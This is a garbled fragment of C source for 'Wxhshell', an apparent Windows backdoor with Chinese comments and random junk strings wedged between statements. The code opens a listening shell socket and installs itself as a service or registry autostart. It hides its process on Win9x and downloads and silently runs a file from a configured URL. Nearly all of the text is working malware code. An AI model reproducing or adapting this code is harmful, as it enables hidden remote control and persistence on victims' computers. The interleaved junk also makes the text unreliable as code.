*79 char procName[255]; 8X0z~& unsigned long cbNeeded; 'n|5ZhXPB 6^Sa; if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PVOv[% Vg23!E CloseHandle(hProcess); - YV>j .mAjfP* if(strstr(procName,"services")) return 1; // 以服务启动 }&e5$lB Z6pUZ[j, return 0; // 注册表启动 Bj~+WwD)QR } 8Eq7Sa EzIGz[ // 主模块 "vGW2~*) int StartWxhshell(LPSTR lpCmdLine) D-4f.Tq4# { JLi|Td"1% SOCKET wsl; ty`DJO=Omj BOOL val=TRUE; CP{cAzHO int port=0; @I*{f struct sockaddr_in door; |CzSU1ma ]_f<kW\1* if(wscfg.ws_autoins) Install(); 2m[<]$ 6R5Qy]]E port=atoi(lpCmdLine); ;GI&lpKK Z)\@i=m if(port<=0) port=wscfg.ws_port; K@#L)VT! :@)>r9N WSADATA data; MS]r:X6 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]7mt[2Cd gdoLyxQ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -gWZwW/lD setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PT9*)9<L door.sin_family = AF_INET; Faf&U%]*` door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~nPtlrQa#* door.sin_port = htons(port); %#}Z y
qv"$Bd:]r if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o lxByzTh> closesocket(wsl); O<\@~U return 1; j)GtEP<n# } BSMwdr V_:&S2j if(listen(wsl,2) == INVALID_SOCKET) { :h V7>
rr closesocket(wsl); S@Hf
&hJ return 1; |W\(kb+ } `#gie$B{ Wxhshell(wsl); <o= 8FO WSACleanup(); veRm2LSP h-D}'R return 0; 9M9?%N:ra ]cN1c} } ~= -RK$= F3N6{ysK# // 以NT服务方式启动 #u
+ v_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ujucZ9}yd { @<Yy{~L| DWORD status = 0; ,{q;;b9 DWORD specificError = 0xfffffff; (b6NX~G-: +KEWP\r serviceStatus.dwServiceType = SERVICE_WIN32; )tpL#J serviceStatus.dwCurrentState = SERVICE_START_PENDING; i@BtM9: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U3:j'Su4H? serviceStatus.dwWin32ExitCode = 0; [=_jYzD,j| serviceStatus.dwServiceSpecificExitCode = 0; 6u}</>} serviceStatus.dwCheckPoint = 0; r)6M!_]AW serviceStatus.dwWaitHint = 0; Z`BK/:vo3H -
CWywuD hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y|q3Wa if (hServiceStatusHandle==0) return; ?NP1y9Y]i rc>6.sM
% status = GetLastError(); \B
7tX if (status!=NO_ERROR) )];K .zP { 5P$4 =z91 serviceStatus.dwCurrentState = SERVICE_STOPPED; Ip]KPrwp serviceStatus.dwCheckPoint = 0; (%:c#;# serviceStatus.dwWaitHint = 0; 9<)NvU^-r serviceStatus.dwWin32ExitCode = status; (Clkv serviceStatus.dwServiceSpecificExitCode = specificError; 4 N7^? SetServiceStatus(hServiceStatusHandle, &serviceStatus); eNu7~3k} return; Jdp3nzM^^@ } :Xd<74Nu .y,0[i V
N serviceStatus.dwCurrentState = SERVICE_RUNNING; ~| 6[j<ziL serviceStatus.dwCheckPoint = 0; K}U-w:{ serviceStatus.dwWaitHint = 0; WSY}d
Vr if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =4!e&o } C\/L v. O<;3M'y\ // 处理NT服务事件,比如:启动、停止 tlt*fH$. VOID WINAPI NTServiceHandler(DWORD fdwControl) wg]LVW} { 5Zva: switch(fdwControl) .eP.& { g|Fn7]G case SERVICE_CONTROL_STOP: Dl8;$~ serviceStatus.dwWin32ExitCode = 0; 1~QPG\cdIX serviceStatus.dwCurrentState = SERVICE_STOPPED; .q 3/_* serviceStatus.dwCheckPoint = 0; wuJ4kW$ serviceStatus.dwWaitHint = 0; ;{o|9x| { q8Z<{#oXu SetServiceStatus(hServiceStatusHandle, &serviceStatus); SN!?}<|U } RlDn0s return; 9pxc~= case SERVICE_CONTROL_PAUSE: x~j`@k,; serviceStatus.dwCurrentState = SERVICE_PAUSED; oFGhNk break; {s{j~M case SERVICE_CONTROL_CONTINUE: w(TJ*::T serviceStatus.dwCurrentState = SERVICE_RUNNING; QW~1%` break; V}NbuvDB@ case SERVICE_CONTROL_INTERROGATE: 1|6%evPu( break; nL.<[]r }; J{&H+rd SetServiceStatus(hServiceStatusHandle, &serviceStatus); r_;Nt } =6|&Jt e,XYVWY% // 标准应用程序主函数 w~?~g<q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xLZG:^(I { a"g!e^ *%t^;&x? // 获取操作系统版本 M>8A\;" OsIsNt=GetOsVer(); %\Mo-Ow!\ GetModuleFileName(NULL,ExeFile,MAX_PATH); a,#j = r s?R:+ // 从命令行安装 Ktm4 A O if(strpbrk(lpCmdLine,"iI")) Install(); c#tjp(- Uwx
E<=z // 下载执行文件 Y0K[Sm> if(wscfg.ws_downexe) { 1,!(0
5H if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W#C*5@ 8 WinExec(wscfg.ws_filenam,SW_HIDE); XJ5. } rkY[E(SY A;|D:;x3G if(!OsIsNt) { %zw1}|s#z // 如果时win9x,隐藏进程并且设置为注册表启动 >q1L2',pK HideProc(); -701j'q{ StartWxhshell(lpCmdLine); GU8sO@S5# } !V g` else
4J([6< if(StartFromService()) pDCeQ6? // 以服务方式启动 KX7>^Bt&k StartServiceCtrlDispatcher(DispatchTable); 6,9>g0y'NG else ;<2G // 普通方式启动 4G>H StartWxhshell(lpCmdLine); (<oyN7NT >:!X.TG$ return 0; y(pks$ }
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